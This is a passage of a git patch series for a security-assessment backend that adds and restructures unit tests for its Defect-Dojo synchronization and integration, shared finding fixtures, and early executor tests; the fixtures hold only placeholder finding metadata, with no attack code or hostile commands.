["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=expected, + ), + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "put", 403, token), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_token), + ApiTestCase(["admin1", "admin2"], "put", 200, token, expected), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=expected, + ), + ] From 98edf16de2090fd9b4a27bdb12a5e6d274be0711 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 6 Dec 2023 12:18:44 +0100 Subject: [PATCH 053/141] Unit tests for Defect-Dojo synchronization API --- .../platforms/defect_dojo/integrations.py | 6 +- src/backend/platforms/defect_dojo/models.py | 1 - .../platforms/defect_dojo/serializers.py | 9 --- .../tests/platforms/defect_dojo/test_sync.py | 67 +++++++++++++++++++ 4 files changed, 70 insertions(+), 13 deletions(-) create mode 100644 src/backend/tests/platforms/defect_dojo/test_sync.py diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index dc79681a8..f9ba2a20c 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -176,7 +176,9 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non if project_sync.exists(): sync = project_sync.first() product_id = sync.product_id - if sync.engagement_per_target: + if sync.engagement_id: + engagement_id = sync.engagement_id + else: new_engagement = self.create_engagement( product_id, execution.task.target.target, @@ -188,8 +190,6 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non engagement_id=new_engagement.get("id"), ) engagement_id = new_sync.engagement_id - else: - engagement_id = sync.engagement_id else: return if ( diff --git a/src/backend/platforms/defect_dojo/models.py b/src/backend/platforms/defect_dojo/models.py index 4d94f3553..5d119ba53 100644 --- a/src/backend/platforms/defect_dojo/models.py +++ b/src/backend/platforms/defect_dojo/models.py @@ -59,7 +59,6 @@ class DefectDojoSync(BaseModel): blank=True, null=True, ) - engagement_per_target = models.BooleanField(default=False) @classmethod def get_project_field(cls) -> str: diff --git a/src/backend/platforms/defect_dojo/serializers.py b/src/backend/platforms/defect_dojo/serializers.py index 08727fff3..67a2f5e8f 100644 --- a/src/backend/platforms/defect_dojo/serializers.py +++ b/src/backend/platforms/defect_dojo/serializers.py @@ -79,17 +79,8 @@ class Meta: "product_type_id", "product_id", "engagement_id", - "engagement_per_target", ) - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - attrs = super().validate(attrs) - if not attrs.get("engagement_id") and not attrs.get("engagement_per_target"): - raise ValidationError( - "Engagement or engagement_per_target is required", code="engagement_id" - ) - return attrs - class DefectDojoTargetSyncSerializer(ModelSerializer): class Meta: diff --git a/src/backend/tests/platforms/defect_dojo/test_sync.py b/src/backend/tests/platforms/defect_dojo/test_sync.py new file mode 100644 index 000000000..1aa713fb3 --- /dev/null +++ b/src/backend/tests/platforms/defect_dojo/test_sync.py @@ -0,0 +1,67 @@ +from unittest import mock + +from tests.cases import ApiTestCase +from tests.framework import ApiTest +from tests.platforms.mocks.defect_dojo import return_true + +sync1 = {"project": 1, "product_type_id": 1, "product_id": 1, "engagement_id": 1} +sync2 = {"project": 1, "product_type_id": 1, "product_id": 1, "engagement_id": None} + + +class DefectDojoSyncTest(ApiTest): + endpoint = "/api/defect-dojo/sync/" + + cases = [ + ApiTestCase(["admin2", "auditor2", "reader1", "reader2"], "post", 403, sync1), + ApiTestCase(["auditor1"], "post", 201, sync1, {"id": 1, **sync1}), + # ApiTestCase(["admin1"], "post", 400, sync1), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={"id": 1, "defect_dojo_sync": {"id": 1, **sync1}}, + endpoint="/api/projects/1/", + ), + ApiTestCase(["reader1", "reader2"], "delete", 403, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin2", "auditor2"], + "delete", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={"id": 1, "defect_dojo_sync": None}, + endpoint="/api/projects/1/", + ), + ApiTestCase(["admin1"], "post", 201, sync2, {"id": 2, **sync2}), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={"id": 1, "defect_dojo_sync": {"id": 2, **sync2}}, + endpoint="/api/projects/1/", + ), + ApiTestCase(["auditor1"], "delete", 204, endpoint="{endpoint}2/"), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={"id": 1, "defect_dojo_sync": None}, + endpoint="/api/projects/1/", + ), + ] + + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.is_available", return_true + ) + @mock.patch("platforms.defect_dojo.integrations.DefectDojo.exists", return_true) + def test_cases(self) -> None: + super().test_cases() + + def setUp(self) -> None: + super().setUp() + self._setup_project() From 07d55165acd154346304bf7da6e90829ca3d8df0 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 6 Dec 2023 13:15:35 +0100 Subject: [PATCH 054/141] Tests files restructuring, shared findings for testing and unit tests for Defect-Dojo integration --- src/backend/tests/framework.py | 100 ++++++++++- .../defect_dojo.py => defect_dojo/mock.py} | 0 .../platforms/defect_dojo/test_entities.py | 2 +- .../platforms/defect_dojo/test_integration.py | 81 +++++++++ .../tests/platforms/defect_dojo/test_sync.py | 2 +- .../platforms/{mocks => nvd_nist}/__init__.py | 0 .../{mocks/nvd_nist.py => nvd_nist/mock.py} | 0 .../test_integration.py} | 2 +- src/backend/tests/test_findings.py | 168 +++++------------- 9 files changed, 227 insertions(+), 128 deletions(-) rename src/backend/tests/platforms/{mocks/defect_dojo.py => defect_dojo/mock.py} (100%) create mode 100644 src/backend/tests/platforms/defect_dojo/test_integration.py rename src/backend/tests/platforms/{mocks => nvd_nist}/__init__.py (100%) rename src/backend/tests/platforms/{mocks/nvd_nist.py => nvd_nist/mock.py} (100%) rename src/backend/tests/platforms/{test_nvd_nist.py => nvd_nist/test_integration.py} (95%) diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 942c2b4e2..0fdd709fa 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -1,10 +1,29 @@ import json -from pathlib import Path +from pathlib import Path as PathLib from typing import Any, Dict, List from django.test import TestCase from executions.enums import Status from executions.models import Execution +from findings.enums import ( + HostOS, + OSINTDataType, + PathType, + PortStatus, + Protocol, + Severity, +) +from findings.framework.models import Finding +from findings.models import ( + OSINT, + Credential, + Exploit, + Host, + Path, + Port, + Technology, + Vulnerability, +) from processes.models import Process, Step from projects.models import Project from rest_framework.test import APIClient @@ -19,7 +38,7 @@ class RekonoTest(TestCase): - data_dir = Path(__file__).resolve().parent / "data" + data_dir = PathLib(__file__).resolve().parent / "data" cases: List[RekonoTestCase] = [] def _create_user(self, username: str, role: Role) -> User: @@ -97,6 +116,83 @@ def _setup_tasks_and_executions(self) -> None: status=Status.COMPLETED, ) + def _create_finding( + self, model: Any, data: Dict[str, Any], execution: Execution + ) -> Finding: + new_finding = model.objects.create( + **{ + k: getattr(self, k) + if isinstance(v, int) and hasattr(self, k) and getattr(self, k).id == v + else v + for k, v in data.items() + } + ) + new_finding.executions.add(execution) + return new_finding + + def _setup_findings(self, execution: Execution) -> None: + self.raw_findings = { + OSINT: { + "data": "admin", + "data_type": OSINTDataType.USER, + "source": "Google", + "reference": "https://any.com", + }, + Host: { + "address": "10.10.10.10", + "os": "some type of Linux", + "os_type": HostOS.LINUX, + }, + Port: { + "host": 1, + "port": 80, + "status": PortStatus.OPEN, + "protocol": Protocol.TCP, + "service": "http", + }, + Path: { + "port": 1, + "path": "/index.php", + "status": 200, + "extra_info": "Main path", + "type": PathType.ENDPOINT, + }, + Technology: { + "port": 1, + "name": "WordPress", + "version": "1.0.0", + "description": "Typical CMS", + "reference": "https://wordpress.org", + }, + Credential: { + "technology": 1, + "email": "admin@shop.com", + "username": "admin", + "secret": "admin", + "context": "Default admin credentials", + }, + Vulnerability: { + "technology": 1, + "name": "Test", + "description": "Test", + "severity": Severity.CRITICAL, + "cve": "CVE-2023-1111", + "cwe": "CWE-200", + "reference": "https://nvd.nist.gov/vuln/detail/CVE-2023-1111", + }, + Exploit: { + "vulnerability": 1, + "title": "Reverse Shell", + "edb_id": 1, + "reference": "https://www.exploit-db.com/exploits/1", + }, + } + self.findings = [] + for finding_model, finding_data in self.raw_findings.items(): + new_finding = self._create_finding(finding_model, finding_data, execution) + setattr(self, finding_model.__name__.lower(), new_finding) + self.findings.append(new_finding) + def _metadata(self) -> Dict[str, Any]: return {} diff --git a/src/backend/tests/platforms/mocks/defect_dojo.py b/src/backend/tests/platforms/defect_dojo/mock.py similarity index 100% rename from src/backend/tests/platforms/mocks/defect_dojo.py rename to src/backend/tests/platforms/defect_dojo/mock.py diff --git a/src/backend/tests/platforms/defect_dojo/test_entities.py b/src/backend/tests/platforms/defect_dojo/test_entities.py index 2c6281f8b..b004ecac4 100644 --- a/src/backend/tests/platforms/defect_dojo/test_entities.py +++ b/src/backend/tests/platforms/defect_dojo/test_entities.py @@ -2,7 +2,7 @@ from tests.cases import ApiTestCase from tests.framework import ApiTest -from tests.platforms.mocks.defect_dojo import ( +from tests.platforms.defect_dojo.mock import ( create_engagement, create_product, create_product_type, diff --git a/src/backend/tests/platforms/defect_dojo/test_integration.py b/src/backend/tests/platforms/defect_dojo/test_integration.py new file mode 100644 index 000000000..ac079dd67 --- /dev/null +++ b/src/backend/tests/platforms/defect_dojo/test_integration.py @@ -0,0 +1,81 @@ +from unittest import mock + +from platforms.defect_dojo.integrations import DefectDojo +from platforms.defect_dojo.models import DefectDojoTargetSync +from tests.cases import ApiTestCase +from tests.framework import RekonoTest +from tests.platforms.defect_dojo.mock import ( + create_endpoint, + create_finding, + import_scan, + return_true, +) + +sync = { + "project": 1, + "product_type_id": 1, + "product_id": 1, + "engagement_id": 1, +} + + +class DefectDojoIntegrationTest(RekonoTest): + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.is_available", return_true + ) + @mock.patch("platforms.defect_dojo.integrations.DefectDojo.exists", return_true) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo._create_endpoint", + create_endpoint, + ) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo._create_finding", create_finding + ) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo._import_scan", import_scan + ) + def test_project_sync(self) -> None: + ApiTestCase( + ["admin1"], "post", 201, sync, {"id": 1, **sync}, "/api/defect-dojo/sync/" + ).test_case() + self._setup_findings(self.execution3) + DefectDojo().process_findings(self.execution3, self.findings) + self.assertEqual(1, self.execution3.defect_dojo_test_id) + for finding in self.findings: + self.assertIsNone(finding.defect_dojo_id) + + def test_target_sync(self) -> None: + sync["engagement_id"] = None + ApiTestCase( + ["admin1"], "post", 201, sync, {"id": 1, **sync}, "/api/defect-dojo/sync/" + ).test_case() + self.assertFalse( + DefectDojoTargetSync.objects.filter( + target=self.execution1.task.target + ).exists() + ) + self._setup_findings(self.execution1) + integration = DefectDojo() + integration.process_findings(self.execution1, self.findings) + self.assertTrue( + DefectDojoTargetSync.objects.filter( + target=self.execution1.task.target + ).exists() + ) + self.assertIsNone(self.execution3.defect_dojo_test_id) + for finding in self.findings: + self.assertEqual(1, finding.defect_dojo_id) + integration.process_findings(self.execution1, self.findings) + self.assertEqual( + 1, + DefectDojoTargetSync.objects.filter( + target=self.execution1.task.target + ).count(), + ) + self.assertIsNone(self.execution3.defect_dojo_test_id) + for finding in self.findings: + self.assertEqual(1, finding.defect_dojo_id) diff --git a/src/backend/tests/platforms/defect_dojo/test_sync.py b/src/backend/tests/platforms/defect_dojo/test_sync.py index 1aa713fb3..32aa14324 100644 --- a/src/backend/tests/platforms/defect_dojo/test_sync.py +++ b/src/backend/tests/platforms/defect_dojo/test_sync.py @@ -2,7 +2,7 @@ from tests.cases import ApiTestCase from tests.framework import ApiTest -from tests.platforms.mocks.defect_dojo import return_true +from tests.platforms.defect_dojo.mock import return_true sync1 = {"project": 1, "product_type_id": 1, "product_id": 1, "engagement_id": 1} sync2 = {"project": 1, "product_type_id": 1, "product_id": 1, "engagement_id": None} diff --git a/src/backend/tests/platforms/mocks/__init__.py b/src/backend/tests/platforms/nvd_nist/__init__.py similarity index 100% rename from src/backend/tests/platforms/mocks/__init__.py rename to src/backend/tests/platforms/nvd_nist/__init__.py diff --git a/src/backend/tests/platforms/mocks/nvd_nist.py b/src/backend/tests/platforms/nvd_nist/mock.py similarity index 100% rename from src/backend/tests/platforms/mocks/nvd_nist.py rename to src/backend/tests/platforms/nvd_nist/mock.py diff --git a/src/backend/tests/platforms/test_nvd_nist.py b/src/backend/tests/platforms/nvd_nist/test_integration.py similarity index 95% rename from src/backend/tests/platforms/test_nvd_nist.py rename to src/backend/tests/platforms/nvd_nist/test_integration.py index 47cc4fa74..aa49938ef 100644 --- a/src/backend/tests/platforms/test_nvd_nist.py +++ b/src/backend/tests/platforms/nvd_nist/test_integration.py @@ -4,7 +4,7 @@ from findings.models import Vulnerability from platforms.nvd_nist import NvdNist from tests.framework import RekonoTest -from tests.platforms.mocks.nvd_nist import not_found, success_cvss_2, success_cvss_3 +from tests.platforms.nvd_nist.mock import not_found, success_cvss_2, success_cvss_3 class NvdNistTest(RekonoTest): diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py index 45e5d2a84..9b7c84f9a 100644 --- a/src/backend/tests/test_findings.py +++ b/src/backend/tests/test_findings.py @@ -1,7 +1,4 @@ -from typing import Any, Dict - from django.db import models -from executions.models import Execution from findings.enums import ( HostOS, OSINTDataType, @@ -26,15 +23,8 @@ from tests.cases import ApiTestCase from tests.framework import ApiTest -findings = [ - ( - OSINT, - { - "data": "admin", - "data_type": OSINTDataType.USER, - "source": "Google", - "reference": "https://any.com", - }, +findings_data = { + OSINT: ( { "title": f"{OSINTDataType.USER.value} found using OSINT techniques", "description": "admin", @@ -43,13 +33,7 @@ "admin", "/api/osint/", ), - ( - Host, - { - "address": "10.10.10.10", - "os": "some type of Linux", - "os_type": HostOS.LINUX, - }, + Host: ( { "title": "Host discovered", "description": f"10.10.10.10 - {HostOS.LINUX.value}", @@ -58,15 +42,7 @@ "10.10.10.10", "/api/hosts/", ), - ( - Port, - { - "host": 1, - "port": 80, - "status": PortStatus.OPEN, - "protocol": Protocol.TCP, - "service": "http", - }, + Port: ( { "title": "Port discovered", "description": f"Host: 10.10.10.10\nPort: 80\nStatus: {PortStatus.OPEN.value}\nProtocol: {Protocol.TCP.value}\nService: http", @@ -75,28 +51,12 @@ "10.10.10.10 - 80", "/api/ports/", ), - ( - Path, - { - "port": 1, - "path": "/index.php", - "status": 200, - "extra_info": "Main path", - "type": PathType.ENDPOINT, - }, + Path: ( {"protocol": "http", "host": "10.10.10.10", "port": 80, "path": "/index.php"}, "10.10.10.10 - 80 - /index.php", "/api/paths/", ), - ( - Technology, - { - "port": 1, - "name": "WordPress", - "version": "1.0.0", - "description": "Typical CMS", - "reference": "https://wordpress.org", - }, + Technology: ( { "title": "Technology WordPress detected", "description": "Technology: WordPress\nVersion: 1.0.0\nDetails: Typical CMS", @@ -107,15 +67,7 @@ "10.10.10.10 - 80 - WordPress", "/api/technologies/", ), - ( - Credential, - { - "technology": 1, - "email": "admin@shop.com", - "username": "admin", - "secret": "admin", - "context": "Default admin credentials", - }, + Credential: ( { "title": "Credentials exposure", "description": "admin@shop.com - admin - admin", @@ -125,17 +77,7 @@ "10.10.10.10 - 80 - WordPress - admin@shop.com - admin - admin", "/api/credentials/", ), - ( - Vulnerability, - { - "technology": 1, - "name": "Test", - "description": "Test", - "severity": Severity.CRITICAL, - "cve": "CVE-2023-1111", - "cwe": "CWE-200", - "reference": "https://nvd.nist.gov/vuln/detail/CVE-2023-1111", - }, + Vulnerability: ( { "title": "Test", "description": "Test", @@ -147,14 +89,7 @@ "10.10.10.10 - 80 - WordPress - Test - CVE-2023-1111", "/api/vulnerabilities/", ), - ( - Exploit, - { - "vulnerability": 1, - "title": "Reverse Shell", - "edb_id": 1, - "reference": "https://www.exploit-db.com/exploits/1", - }, + Exploit: ( { "title": "Exploit 1 found", "description": "Reverse Shell", @@ -164,7 +99,7 @@ "10.10.10.10 - 80 - WordPress - Test - CVE-2023-1111 - Reverse Shell", "/api/exploits/", ), -] +} false_positive = { "triage_status": TriageStatus.FALSE_POSITIVE.value, "triage_comment": "It isn't exploitable", @@ -178,34 +113,19 @@ class FindingTest(ApiTest): endpoint = "/api/findings/" - def _create_finding( - self, model: Any, data: Dict[str, Any], execution: Execution - ) -> Any: - new_finding = model.objects.create( - **{ - k: getattr(self, k) - if isinstance(v, int) and hasattr(self, k) and getattr(self, k).id == v - else v - for k, v in data.items() - } - ) - new_finding.executions.add(execution) - return new_finding - def setUp(self) -> None: super().setUp() self._setup_tasks_and_executions() + self._setup_findings(self.execution3) self.cases = [] - for finding_model, finding_data, _, _, endpoint in findings: - setattr( - self, - finding_model.__name__.lower(), - self._create_finding(finding_model, finding_data, self.execution3), - ) + for finding in self.findings: self.cases.extend( [ ApiTestCase( - ["admin2", "auditor2", "reader2"], "get", 200, endpoint=endpoint + ["admin2", "auditor2", "reader2"], + "get", + 200, + endpoint=findings_data[finding.__class__][2], ), ApiTestCase( ["admin1", "auditor1", "reader1"], @@ -220,25 +140,27 @@ def setUp(self) -> None: k: v if not isinstance(v, models.TextChoices) else v.value - for k, v in finding_data.items() + for k, v in self.raw_findings[ + finding.__class__ + ].items() }, } ], - endpoint=endpoint, + endpoint=findings_data[finding.__class__][2], ), ApiTestCase( ["reader1", "reader2"], "put", 403, false_positive, - endpoint=f"{endpoint}1/", + endpoint=f"{findings_data[finding.__class__][2]}1/", ), ApiTestCase( ["admin2", "auditor2"], "put", 404, false_positive, - endpoint=f"{endpoint}1/", + endpoint=f"{findings_data[finding.__class__][2]}1/", ), ApiTestCase( ["admin1", "auditor1"], @@ -246,7 +168,7 @@ def setUp(self) -> None: 200, false_positive, expected={"id": 1, **false_positive}, - endpoint=f"{endpoint}1/", + endpoint=f"{findings_data[finding.__class__][2]}1/", ), ApiTestCase( ["admin1", "auditor1", "reader1"], @@ -259,10 +181,10 @@ def setUp(self) -> None: k: v if not isinstance(v, models.TextChoices) else v.value - for k, v in finding_data.items() + for k, v in self.raw_findings[finding.__class__].items() }, }, - endpoint=f"{endpoint}1/", + endpoint=f"{findings_data[finding.__class__][2]}1/", ), ApiTestCase( ["admin1", "auditor1"], @@ -270,7 +192,7 @@ def setUp(self) -> None: 200, true_positive, expected={"id": 1, **true_positive}, - endpoint=f"{endpoint}1/", + endpoint=f"{findings_data[finding.__class__][2]}1/", ), ApiTestCase( ["admin1", "auditor1", "reader1"], @@ -283,49 +205,49 @@ def setUp(self) -> None: k: v if not isinstance(v, models.TextChoices) else v.value - for k, v in finding_data.items() + for k, v in self.raw_findings[finding.__class__].items() }, }, - endpoint=f"{endpoint}1/", + endpoint=f"{findings_data[finding.__class__][2]}1/", ), ] ) def test_str(self) -> None: - for finding_model, _, _, expected_str, _ in findings: + for finding in self.findings: self.assertEqual( - expected_str, - getattr(self, finding_model.__name__.lower()).__str__(), + findings_data[finding.__class__][1], + finding.__str__(), ) - for finding_model, finding_data, pop_field, expected_str in [ + for finding_model, new_data, pop_field, expected_str in [ ( Vulnerability, - {**findings[6][1], "port": 1}, + {"port": 1}, "technology", "10.10.10.10 - 80 - Test - CVE-2023-1111", ), ( Exploit, - {**findings[7][1], "technology": 1}, + {"technology": 1}, "vulnerability", "10.10.10.10 - 80 - WordPress - Reverse Shell", ), ]: - finding_data.pop(pop_field) - aux = self._create_finding(finding_model, finding_data, self.execution3) - self.assertEqual(expected_str, aux.__str__()) - - def test_anonymous_access(self) -> None: - for _, _, _, _, endpoint in findings: - response = APIClient().get(endpoint) + data = {**self.raw_findings[finding_model], **new_data} + data.pop(pop_field) self.assertEqual( - 200 if self.anonymous_allowed else 401, response.status_code + expected_str, + self._create_finding(finding_model, data, self.execution3).__str__(), ) + def test_anonymous_access(self) -> None: + for _, _, endpoint in findings_data: + self.assertEqual(401, APIClient().get(endpoint).status_code) + def test_defect_dojo(self) -> None: - for finding_model, _, expected_data, _, _ in findings: - parsed = getattr(self, finding_model.__name__.lower()).defect_dojo() - for key, value in expected_data.items(): + for finding in self.findings: + parsed = finding.defect_dojo() + for key, value in findings_data[finding.__class__][0].items(): self.assertEqual(value, parsed[key]) From 367a24f8750c0189f91a0eedf07d5ce0454ba986 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 6 Dec 2023 13:54:00 +0100 Subject: [PATCH 055/141] Fix some errors in unit tests --- .../platforms/defect_dojo/integrations.py | 2 + src/backend/tests/framework.py | 9 ++-- .../tests/platforms/defect_dojo/mock.py | 22 ++++++---- ...st_integration.py => test_integrations.py} | 41 ++++++++++++++----- ...st_integration.py => test_integrations.py} | 0 src/backend/tests/test_findings.py | 20 ++++----- 6 files changed, 62 insertions(+), 32 deletions(-) rename src/backend/tests/platforms/defect_dojo/{test_integration.py => test_integrations.py} (74%) rename src/backend/tests/platforms/nvd_nist/{test_integration.py => test_integrations.py} (100%) diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index f9ba2a20c..124920d0e 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -183,6 +183,7 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non product_id, execution.task.target.target, f"Rekono assessment for {execution.task.target.target}", + [self.settings.tag], ) new_sync = DefectDojoTargetSync.objects.create( defect_dojo_sync=sync, @@ -194,6 +195,7 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non return if ( execution.configuration.tool.defect_dojo_scan_type + and execution.output_file is not None and PathFile(execution.output_file).is_file() ): new_import = self._import_scan( diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 0fdd709fa..b33b7af74 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -1,5 +1,5 @@ import json -from pathlib import Path as PathLib +from pathlib import Path as PathFile from typing import Any, Dict, List from django.test import TestCase @@ -38,7 +38,7 @@ class RekonoTest(TestCase): - data_dir = PathLib(__file__).resolve().parent / "data" + data_dir = PathFile(__file__).resolve().parent / "data" cases: List[RekonoTestCase] = [] def _create_user(self, username: str, role: Role) -> User: @@ -117,7 +117,7 @@ def _setup_tasks_and_executions(self) -> None: ) def _create_finding( - self, model: Any, data: Dict[str, Any], execution: Execution + self, model: Any, data: Dict[str, Any], execution: Execution = None ) -> Finding: new_finding = model.objects.create( **{ @@ -127,7 +127,8 @@ def _create_finding( for k, v in data.items() } ) - new_finding.executions.add(execution) + if execution: + new_finding.executions.add(execution) return new_finding def _setup_findings(self, execution: Execution) -> None: diff --git a/src/backend/tests/platforms/defect_dojo/mock.py b/src/backend/tests/platforms/defect_dojo/mock.py index 6f8b7b4ae..19a559c90 100644 --- a/src/backend/tests/platforms/defect_dojo/mock.py +++ b/src/backend/tests/platforms/defect_dojo/mock.py @@ -5,6 +5,10 @@ def return_true(*args: Any) -> bool: return True +def return_id(*args: Any) -> Dict[str, int]: + return {"id": 1} + + def create_product_type(*args: Any) -> Dict[str, Any]: return {"id": 1, "name": args[1], "description": args[2]} @@ -29,16 +33,18 @@ def create_engagement(*args: Any) -> Dict[str, Any]: } -def return_defectdojo_data(field: str, **kwargs: Any) -> Dict[str, Any]: - return {"id": 1, **kwargs.get(field).defect_dojo()} - - -def create_endpoint(**kwargs: Any) -> Dict[str, Any]: - return return_defectdojo_data("endpoint", **kwargs) +def create_test_type(*args: Any) -> Dict[str, Any]: + return {"id": 1, "name": args[1], "tags": args[2], "dynamic_tool": True} -def create_finding(**kwargs: Any) -> Dict[str, Any]: - return return_defectdojo_data("finding", **kwargs) +def create_test(*args: Any) -> Dict[str, Any]: + return { + "id": 1, + "test_type": args[1], + "engagement": args[2], + "title": args[3], + "description": args[4], + } def import_scan(*args: Any) -> Dict[str, Any]: diff --git a/src/backend/tests/platforms/defect_dojo/test_integration.py b/src/backend/tests/platforms/defect_dojo/test_integrations.py similarity index 74% rename from src/backend/tests/platforms/defect_dojo/test_integration.py rename to src/backend/tests/platforms/defect_dojo/test_integrations.py index ac079dd67..8300d7b43 100644 --- a/src/backend/tests/platforms/defect_dojo/test_integration.py +++ b/src/backend/tests/platforms/defect_dojo/test_integrations.py @@ -5,9 +5,11 @@ from tests.cases import ApiTestCase from tests.framework import RekonoTest from tests.platforms.defect_dojo.mock import ( - create_endpoint, - create_finding, + create_engagement, + create_test, + create_test_type, import_scan, + return_id, return_true, ) @@ -28,13 +30,6 @@ def setUp(self) -> None: "platforms.defect_dojo.integrations.DefectDojo.is_available", return_true ) @mock.patch("platforms.defect_dojo.integrations.DefectDojo.exists", return_true) - @mock.patch( - "platforms.defect_dojo.integrations.DefectDojo._create_endpoint", - create_endpoint, - ) - @mock.patch( - "platforms.defect_dojo.integrations.DefectDojo._create_finding", create_finding - ) @mock.patch( "platforms.defect_dojo.integrations.DefectDojo._import_scan", import_scan ) @@ -43,15 +38,41 @@ def test_project_sync(self) -> None: ["admin1"], "post", 201, sync, {"id": 1, **sync}, "/api/defect-dojo/sync/" ).test_case() self._setup_findings(self.execution3) + self.execution3.output_file = ( + self.data_dir / "reports" / "nmap" / "enumeration-vulners.xml" + ) DefectDojo().process_findings(self.execution3, self.findings) self.assertEqual(1, self.execution3.defect_dojo_test_id) for finding in self.findings: self.assertIsNone(finding.defect_dojo_id) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.is_available", return_true + ) + @mock.patch("platforms.defect_dojo.integrations.DefectDojo.exists", return_true) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.create_engagement", + create_engagement, + ) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo._create_test_type", + create_test_type, + ) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo._create_test", + create_test, + ) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo._create_endpoint", + return_id, + ) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo._create_finding", return_id + ) def test_target_sync(self) -> None: sync["engagement_id"] = None ApiTestCase( - ["admin1"], "post", 201, sync, {"id": 1, **sync}, "/api/defect-dojo/sync/" + ["auditor1"], "post", 201, sync, {"id": 1, **sync}, "/api/defect-dojo/sync/" ).test_case() self.assertFalse( DefectDojoTargetSync.objects.filter( diff --git a/src/backend/tests/platforms/nvd_nist/test_integration.py b/src/backend/tests/platforms/nvd_nist/test_integrations.py similarity index 100% rename from src/backend/tests/platforms/nvd_nist/test_integration.py rename to src/backend/tests/platforms/nvd_nist/test_integrations.py diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py index 9b7c84f9a..4f1d17a6c 100644 --- a/src/backend/tests/test_findings.py +++ b/src/backend/tests/test_findings.py @@ -241,7 +241,7 @@ def test_str(self) -> None: ) def test_anonymous_access(self) -> None: - for _, _, endpoint in findings_data: + for _, _, endpoint in findings_data.values(): self.assertEqual(401, APIClient().get(endpoint).status_code) def test_defect_dojo(self) -> None: @@ -257,13 +257,13 @@ class OSINTTest(ApiTest): cases = [ ApiTestCase(["admin1", "admin2", "auditor1", "auditor2"], "post", 405), ApiTestCase( - ["reader1", "reader2"], "post", 403, endpoint="{endpoint}1/target/" + ["reader1", "reader2"], "post", 403, endpoint="{endpoint}2/target/" ), ApiTestCase( - ["admin2", "auditor2"], "post", 404, endpoint="{endpoint}1/target/" + ["admin2", "auditor2"], "post", 404, endpoint="{endpoint}2/target/" ), ApiTestCase( - ["admin1", "auditor1"], "post", 400, endpoint="{endpoint}2/target/" + ["admin1", "auditor1"], "post", 400, endpoint="{endpoint}1/target/" ), ApiTestCase( ["auditor1"], @@ -274,7 +274,7 @@ class OSINTTest(ApiTest): "target": "10.10.10.11", "type": TargetType.PRIVATE_IP.value, }, - endpoint="{endpoint}1/target/", + endpoint="{endpoint}2/target/", ), ApiTestCase( ["admin2", "auditor2", "reader2"], "get", 404, endpoint="/api/targets/2/" @@ -295,9 +295,9 @@ class OSINTTest(ApiTest): def setUp(self) -> None: super().setUp() self._setup_tasks_and_executions() - self.osint1 = OSINT.objects.create( - data="10.10.10.11", data_type=OSINTDataType.IP, source="Google" + self._setup_findings(self.execution3) + self.osint1 = self._create_finding( + OSINT, + {"data": "10.10.10.11", "data_type": OSINTDataType.IP, "source": "Google"}, + self.execution3, ) - self.osint2 = OSINT.objects.create(**findings[0][1]) - for osint in [self.osint1, self.osint2]: - osint.executions.add(self.execution3) From 5703aad5c42641735b4587be266eda9d1fb18c70 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 6 Dec 2023 21:54:10 +0100 Subject: [PATCH 056/141] Initial unit tests for BaseExecutor --- src/backend/findings/models.py | 17 +- src/backend/framework/models.py | 6 +- .../input_types/fixtures/1_input_types.json | 4 +- src/backend/target_ports/models.py | 1 + src/backend/tasks/queues.py | 16 +- src/backend/tests/framework.py | 2 +- src/backend/tests/test_executors.py | 165 ++++++++++++++++++ src/backend/tests/test_findings.py | 7 +- src/backend/tools/executors/base.py | 56 +++--- 9 files changed, 226 insertions(+), 48 deletions(-) create mode 100644 src/backend/tests/test_executors.py diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index b2dab0e1c..7e004430d 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -112,13 +112,13 @@ def parse( ) -> Dict[str, Any]: ports = ( [self.port] - if not accumulated or 